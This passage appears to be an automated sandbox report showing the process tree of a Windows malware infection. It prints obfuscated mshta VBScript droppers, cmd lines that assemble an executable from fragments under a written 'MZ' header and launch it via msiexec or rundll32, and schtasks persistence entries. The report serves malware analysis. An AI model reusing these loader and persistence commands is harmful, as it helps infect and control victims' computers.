        Executes dropped EXE
        
        PID:4528
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBsCRIPt:cLose( creAteObjecT("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )
        11⤵
        
        PID:5800
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F
        12⤵
        
        PID:5456
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ("WSCRIPt.SheLl" ). rUn ("C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl + _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " ,0 , TruE ) )
        11⤵
        
        PID:6660
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 +HxU0.m + HR0NM.yl+ _AECH.7+ ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY
        12⤵
        
        PID:1696
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHO "
        13⤵
        
        PID:7020
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"
        13⤵
        
        PID:1596
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec.exe -y .\N3V4H8H.SXY
        13⤵
        
        PID:7120
        
        C:\Users\Admin\Pictures\Adobe Films\uaGwPkTj7_XbMhGpcb7l2D64.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\uaGwPkTj7_XbMhGpcb7l2D64.exe"
        7⤵
        Executes dropped EXE
        
        PID:4108
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4108 -s 280
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5552
        
        C:\Users\Admin\Pictures\Adobe Films\0OWMoxbNwK3p0CfsHrGc1Ay8.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\0OWMoxbNwK3p0CfsHrGc1Ay8.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:6004
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        8⤵
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5096
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"
        9⤵
        
        PID:6964
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x204,0x208,0x20c,0x1e0,0x210,0x7ffd53b0dec0,0x7ffd53b0ded0,0x7ffd53b0dee0
        10⤵
        
        PID:6524
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x13c,0x140,0x144,0x118,0x148,0x7ff7e50c9e70,0x7ff7e50c9e80,0x7ff7e50c9e90
        11⤵
        
        PID:6816
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --mojo-platform-channel-handle=1852 /prefetch:8
        10⤵
        
        PID:5004
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1584 /prefetch:2
        10⤵
        
        PID:7144
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --mojo-platform-channel-handle=2248 /prefetch:8
        10⤵
        
        PID:3776
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2480 /prefetch:1
        10⤵
        
        PID:2644
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --mojo-platform-channel-handle=2464 /prefetch:1
        10⤵
        
        PID:5520
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3112 /prefetch:2
        10⤵
        
        PID:2972
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --mojo-platform-channel-handle=3284 /prefetch:8
        10⤵
        
        PID:2924
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --mojo-platform-channel-handle=3588 /prefetch:8
        10⤵
        
        PID:6520
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --mojo-platform-channel-handle=3596 /prefetch:8
        10⤵
        
        PID:7572
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --mojo-platform-channel-handle=3664 /prefetch:8
        10⤵
        
        PID:5128
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1588,18017072315446225346,14935287651120707608,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6964_153689756" --mojo-platform-channel-handle=2100 /prefetch:8
        10⤵
        
        PID:3200
        
        C:\Users\Admin\Pictures\Adobe Films\j0dmMkg_enJVYkJN3ly7pyb2.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\j0dmMkg_enJVYkJN3ly7pyb2.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:1448
        
        C:\Users\Admin\Pictures\Adobe Films\PCDWBkK5Bu7hXwwZKQSEcZKB.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\PCDWBkK5Bu7hXwwZKQSEcZKB.exe"
        7⤵
        
        PID:5764
        
        C:\Users\Admin\Pictures\Adobe Films\0CYNRpGWARvtFbrz8fnFBAG5.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\0CYNRpGWARvtFbrz8fnFBAG5.exe"
        7⤵
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:3144
        
        C:\Users\Admin\Pictures\Adobe Films\0Di7zkR0Nr3OOZrrBHJOW6fo.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\0Di7zkR0Nr3OOZrrBHJOW6fo.exe"
        7⤵
        
        PID:1480
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1480 -s 276
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5584
        
        C:\Users\Admin\Pictures\Adobe Films\cIBnQSYr2J_KMW2RvwjriDqG.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\cIBnQSYr2J_KMW2RvwjriDqG.exe"
        7⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: MapViewOfSection
        
        PID:5524
        
        C:\Users\Admin\Pictures\Adobe Films\WCvVyuUZJ8dJOaRwEuR2KDPr.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\WCvVyuUZJ8dJOaRwEuR2KDPr.exe"
        7⤵
        
        PID:4776
        
        C:\Users\Admin\Pictures\Adobe Films\yYR_0E6XHirmHTzJcUFSMOOj.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\yYR_0E6XHirmHTzJcUFSMOOj.exe"
        7⤵
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5716
        
        C:\Users\Admin\Pictures\Adobe Films\qWR2gjRBUFXuJARGxZbNWYSq.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\qWR2gjRBUFXuJARGxZbNWYSq.exe"
        7⤵
        
        PID:2496
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2496 -s 964
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:2884
        
        C:\Users\Admin\Pictures\Adobe Films\0159DFXcLaLww_uNr1E9KewO.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\0159DFXcLaLww_uNr1E9KewO.exe"
        7⤵
        Drops file in Program Files directory
        
        PID:5772
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        8⤵
        Creates scheduled task(s)
        
        PID:6176
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        8⤵
        Creates scheduled task(s)
        
        PID:6316
        
        C:\Users\Admin\Pictures\Adobe Films\cZ8LCDc05qkIjLbzHImM4oDp.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\cZ8LCDc05qkIjLbzHImM4oDp.exe"
        7⤵
        Executes dropped EXE
        
        PID:4544
        
        C:\Users\Admin\Pictures\Adobe Films\4u0Fh6PfDIdPzCG05pPZXbQU.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\4u0Fh6PfDIdPzCG05pPZXbQU.exe"
        7⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        
        PID:5384
        
        C:\Users\Admin\Pictures\Adobe Films\pYfGZLsTuN6r5upJqZfIgIAk.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\pYfGZLsTuN6r5upJqZfIgIAk.exe"
        7⤵
        
        PID:1088
        
        C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
        
        C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
        8⤵
        
        PID:6736
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        9⤵
        
        PID:5504
        
        C:\Users\Admin\AppData\Roaming\Underdress.exe
        
        C:\Users\Admin\AppData\Roaming\Underdress.exe
        8⤵
        
        PID:6828
        
        C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"
        9⤵
        
        PID:1000
        
        C:\Users\Admin\Pictures\Adobe Films\lVYJAWj3_AfiTN5OCV7nEgGm.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\lVYJAWj3_AfiTN5OCV7nEgGm.exe"
        7⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:840
        
        C:\Program Files (x86)\Company\NewProduct\cutm3.exe
        
        "C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
        8⤵
        
        PID:6424
        
        C:\Users\Admin\Pictures\Adobe Films\sT3BPOwvul76CymPXE5Bspfo.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\sT3BPOwvul76CymPXE5Bspfo.exe"
        7⤵
        
        PID:5808
        
        C:\Users\Admin\Pictures\Adobe Films\HJw5P4Ys2MscHXtMg0pwBFpt.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\HJw5P4Ys2MscHXtMg0pwBFpt.exe"
        7⤵
        Executes dropped EXE
        
        PID:5476
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5476 -s 276
        8⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:6596
        
        C:\Users\Admin\Pictures\Adobe Films\eA_wuqzuTramJniblkwwgDbk.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\eA_wuqzuTramJniblkwwgDbk.exe"
        7⤵
        
        PID:6204
        
        C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
        8⤵
        
        PID:5628
        
        C:\Users\Admin\AppData\Local\663087.exe
        
        "C:\Users\Admin\AppData\Local\663087.exe"
        9⤵
        
        PID:6776
        
        C:\Users\Admin\AppData\Local\7655557.exe
        
        "C:\Users\Admin\AppData\Local\7655557.exe"
        9⤵
        
        PID:7880
        
        C:\Users\Admin\AppData\Local\7519305.exe
        
        "C:\Users\Admin\AppData\Local\7519305.exe"
        9⤵
        
        PID:5496
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\7519305.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\7519305.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        10⤵
        Suspicious use of NtCreateProcessExOtherParentProcess
        
        PID:3912
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\7519305.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\7519305.exe" ) do taskkill -f -Im "%~NXZ"
        11⤵
        
        PID:3300
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -Im "7519305.exe"
        12⤵
        Kills process with taskkill
        
        PID:6916
        
        C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
        
        ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
        12⤵
        
        PID:3048
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
        13⤵
        
        PID:4500
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
        14⤵
        
        PID:4664
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
        13⤵
        
        PID:7788
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *
        14⤵
        
        PID:3344
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
        15⤵
        
        PID:2516
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EChO "
        15⤵
        
        PID:6900
        
        C:\Windows\SysWOW64\control.exe
        
        control ..\WfNRfms4.K
        15⤵
        
        PID:2796
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
        16⤵
        
        PID:7236
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K
        17⤵
        
        PID:8060
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K
        18⤵
        
        PID:6660
        
        C:\Users\Admin\AppData\Local\3873631.exe
        
        "C:\Users\Admin\AppData\Local\3873631.exe"
        9⤵
        
        PID:2176
        
        C:\Users\Admin\AppData\Local\2198410.exe
        
        "C:\Users\Admin\AppData\Local\2198410.exe"
        9⤵
        
        PID:5736
        
        C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe
        
        "C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"
        8⤵
        
        PID:6528
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6528 -s 300
        9⤵
        Program crash
        
        PID:1632
        
        C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe
        
        "C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"
        8⤵
        
        PID:1588
        
        C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
        
        "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
        8⤵
        
        PID:3488
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        9⤵
        
        PID:5736
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
        10⤵
        
        PID:5912
        
        C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
        
        ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
        11⤵
        
        PID:7068
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        12⤵
        
        PID:1292
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
        13⤵
        
        PID:4120
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        14⤵
        
        PID:4408
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
        12⤵
        
        PID:1040
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
        13⤵
        
        PID:6604
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        14⤵
        Executes dropped EXE
        
        PID:5960
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
        14⤵
        
        PID:7872
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
        14⤵
        
        PID:6664
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -Y ..\lXQ2g.WC
        14⤵
        
        PID:5640
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "search_hyperfs_206.exe"
        11⤵
        Kills process with taskkill
        
        PID:4532
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        8⤵
        
        PID:3996
        
        C:\Users\Admin\AppData\Local\Temp\is-07D2J.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-07D2J.tmp\setup.tmp" /SL5="$3039C,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
        9⤵
        Executes dropped EXE
        
        PID:3680
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        10⤵
